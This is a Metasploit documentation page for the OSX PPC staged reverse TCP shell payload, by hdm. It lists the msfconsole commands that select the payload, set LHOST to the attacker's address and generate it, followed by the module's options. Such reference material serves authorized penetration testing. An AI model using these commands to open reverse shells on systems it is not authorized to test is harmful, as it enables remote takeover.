Metasploit Penetration Testing Framework


OSVDB: CVE:
BID: MSB:
TEXT:


OSX Command Shell, Reverse TCP Stager

Connect back to the attacker, Spawn a command shell (staged)

Rank

  • Normal

Authors

  • hdm < hdm [at] metasploit.com >

Similar Modules

Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use payload/osx/ppc/shell/reverse_tcp
msf payload(reverse_tcp) > set LHOST [MY IP ADDRESS]
msf payload(reverse_tcp) > generate

Module Options

LHOST The local address
LPORT The local port (default: 4444)
AutoRunScript A script to automatically on session creation.
InitialAutoRunScript An initial script to run on session created (before AutoRunScript)
ReverseConnectRetries The number of connection attempts to try before exiting the process
WORKSPACE Specify the workspace for this module
Copyright © 2003-2010 Rapid7 LLC